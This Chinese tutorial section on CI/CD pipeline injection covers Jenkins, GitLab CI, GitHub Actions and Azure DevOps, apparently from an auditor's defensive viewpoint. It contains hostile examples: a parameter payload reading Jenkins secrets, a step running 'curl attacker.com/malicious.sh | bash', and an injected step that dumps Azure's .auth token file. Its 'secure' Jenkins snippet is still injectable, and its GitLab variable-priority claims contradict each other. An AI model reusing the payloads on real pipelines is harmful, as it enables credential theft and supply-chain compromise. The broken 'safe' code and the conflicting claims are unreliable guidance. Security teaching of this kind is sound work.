4、CI/CD管道注入:Jenkins Pipeline脚本注入、GitLab CI变量覆盖、GitHub Actions Secrets泄露、Azure DevOps凭据劫持
CI/CD管道,说白了就是工厂的自动化流水线。代码提交、构建、测试、部署,一气呵成。但你想过没有?这条流水线上到处都藏着凭据——仓库密钥、云服务Token、数据库密码、SSH私钥。一旦管道被注入,这些凭据就等于拱手送人。
我做过不少DevSecOps的审计项目。说实话,大部分团队的CI/CD安全防护,比他们自己想象的要薄弱得多。今天咱们就把四个主流平台的注入手法掰开揉碎,一个一个讲清楚。
核心观点:CI/CD管道注入的本质,是攻击者利用管道执行环境的信任边界漏洞,在凭据被消费之前或消费过程中将其劫持。这不是理论攻击,我在生产环境中见过不止一次。
4.1 Jenkins Pipeline脚本注入
Jenkins的Pipeline即代码(Pipeline as Code)功能,允许你把构建逻辑写在Jenkinsfile里。方便是真方便,但风险也藏在这里。
我见过一个典型案例:开发者在Jenkinsfile里直接拼接用户输入的参数去执行shell命令。你想想看,如果用户在提交信息里塞了"; cat $JENKINS_HOME/secrets/*",会发生什么?
// 不安全的写法
stage('Build') {
steps {
sh "echo ${params.BRANCH_NAME}"
}
}
// 安全的写法
stage('Build') {
steps {
sh "echo ${sh(returnStdout: true, script: "echo ${params.BRANCH_NAME}").trim()}"
}
}
这里有个关键点:sh步骤默认会解析Groovy字符串插值。如果参数里包含恶意命令,Jenkins会忠实地执行它。我个人习惯是,所有外部输入必须经过sanitize处理,或者用withCredentials把凭据绑定到环境变量,而不是直接拼接到命令里。
避坑指南:我曾经在一个客户的Jenkins实例里发现,他们的Pipeline把AWS密钥对直接写在了sh命令的参数里。攻击者只需要提交一个包含${env.AWS_SECRET_ACCESS_KEY}的PR,就能在构建日志里看到密钥明文。嗯,那天的整改报告写得我手都酸了。
4.2 GitLab CI变量覆盖
GitLab CI的变量机制设计得挺灵活——项目变量、组变量、实例变量,还能在.gitlab-ci.yml里定义。但灵活的另一面,就是容易被覆盖。
攻击手法其实不复杂:攻击者fork你的项目,修改.gitlab-ci.yml,在variables块里重新定义一个同名的变量。如果CI/CD配置里用了CI_JOB_TOKEN或者自定义的DEPLOY_KEY,而变量优先级没搞清楚,就会被覆盖掉。
| 变量来源 | 优先级(高→低) | 注入风险 |
|---|---|---|
| 触发变量(Pipeline Trigger) | 最高 | 高——可通过API直接传入 |
| 项目CI/CD变量(Settings) | 中 | 中——需项目维护者权限 |
.gitlab-ci.yml中定义 |
低 | 高——任何人都可修改(fork场景) |
为什么会这样?因为GitLab CI的变量解析顺序是:触发变量 > 项目变量 > YAML文件变量。如果攻击者通过MR触发Pipeline,并在触发参数里传了同名的DEPLOY_KEY,那项目里设置的真实密钥反而不会被使用。
# 攻击者修改后的 .gitlab-ci.yml
variables:
DEPLOY_KEY: "fake-key" # 覆盖项目变量
deploy:
script:
- echo "$DEPLOY_KEY" # 输出的是fake-key,但攻击者可以在这里做手脚
我的建议:把敏感变量设为protected和masked。protected变量只对受保护分支(如main)的Pipeline生效,masked变量会在日志里自动打码。但注意,masked只对日志输出有效,变量值本身还是可以被script步骤读取的。
4.3 GitHub Actions Secrets泄露
GitHub Actions的Secrets机制,看起来挺安全——你设置好密钥,工作流里用${{ secrets.MY_SECRET }}引用。但问题出在:Secrets在运行时会被解析成环境变量,而环境变量可以被恶意代码读取。
我印象最深的一个案例:某个开源项目的工作流里,用了actions/checkout@v2之后,直接运行了一个从PR里下载的脚本。那个脚本里就一行:echo ${{ secrets.GITHUB_TOKEN }}。结果呢?Token被打印到日志里,攻击者拿到后直接往仓库里推恶意代码。
# 不安全的做法
- name: Run custom script
run: |
curl -s https://attacker.com/malicious.sh | bash
# 这个脚本可以读取所有环境变量,包括 secrets
# 安全的做法
- name: Run custom script
env:
MY_SECRET: ${{ secrets.MY_SECRET }}
run: |
# 只在需要的地方显式传递 secret
python deploy.py --token "$MY_SECRET"
这里有个容易被忽略的点:${{ secrets.X }}在YAML解析阶段就被替换成实际值了。如果你把它赋值给env,那这个环境变量在整个job的生命周期里都是可读的。任何能执行代码的步骤——包括actions/github-script、actions/upload-artifact——都能读到它。
注意:GitHub官方已经做了不少防护,比如自动打码常见格式的密钥。但攻击者可以用Base64编码、拆分成多段、或者用${#var}这种shell技巧绕过。我建议:永远不要在run命令里直接引用secrets,而是通过env显式传递,并且只在真正需要的步骤里传递。
4.4 Azure DevOps凭据劫持
Azure DevOps的凭据体系比较特殊。它除了Pipeline Variables里的密钥,还有Service Connections——也就是跟Azure、GitHub、Docker等外部服务建立的认证连接。这些连接背后是OAuth Token或者Service Principal,权限通常不小。
攻击手法是这样的:攻击者通过注入恶意代码,读取Agent Job工作目录下的.auth文件。Azure DevOps的Agent在运行Pipeline时,会把Service Connection的Token以文件形式存放在$AGENT_TEMPDIRECTORY/.auth里。这个文件在Job结束后会被清理,但在Job运行期间,任何步骤都能读取它。
# 攻击者注入的步骤
- script: |
cat $(Agent.TempDirectory)/.auth
# 输出类似:
# ##vso[task.setvariable variable=AZURE_TOKEN]eyJ0eXAiOiJKV1Qi...
displayName: 'Leak Service Connection Token'
我遇到过最离谱的一次:某个团队把Azure DevOps的Personal Access Token(PAT)直接写在了Pipeline的parameters默认值里。每次运行Pipeline,这个PAT就会出现在运行日志的顶部。嗯,那个PAT有整个组织的全部权限。
| 凭据类型 | 存储位置 | 劫持方式 | 防护建议 |
|---|---|---|---|
| Pipeline Variables | Azure DevOps UI | 日志泄露、env读取 | 设为Secret,限制作用域 |
| Service Connections | Agent Job .auth文件 | 文件读取、Token劫持 | 限制Agent作用域,使用托管标识 |
| PAT | 用户个人设置 | 硬编码、日志泄露 | 使用Service Principal替代 |
我的经验:Azure DevOps里最安全的做法是使用Managed Identity(托管标识)。这样根本不需要在Pipeline里存储任何凭据,Agent直接用Azure AD认证。如果非要用Service Connection,记得把Agent的demands设置成只运行在特定的、受控的Agent Pool上。
4.5 知识体系总览
下面这张图,把四个平台的注入路径和关键防御点串起来了。你可以把它当成一个快速参考地图。
这张图把四个平台的攻击路径和防御措施串在了一起。你可以看到,无论哪个平台,最终目标都是拿到凭据。而防御的核心思路其实就两条:减少凭据的暴露面和限制凭据的使用范围。
总结一下:CI/CD管道注入不是理论攻击。我在多个客户的审计中都发现过类似问题。Jenkins的脚本注入、GitLab的变量覆盖、GitHub Actions的Secrets泄露、Azure DevOps的凭据劫持——手法不同,但本质都一样:攻击者在寻找管道执行环境中的信任盲区。防御的关键不是某一个点,而是从代码提交到凭据消费的整条链路。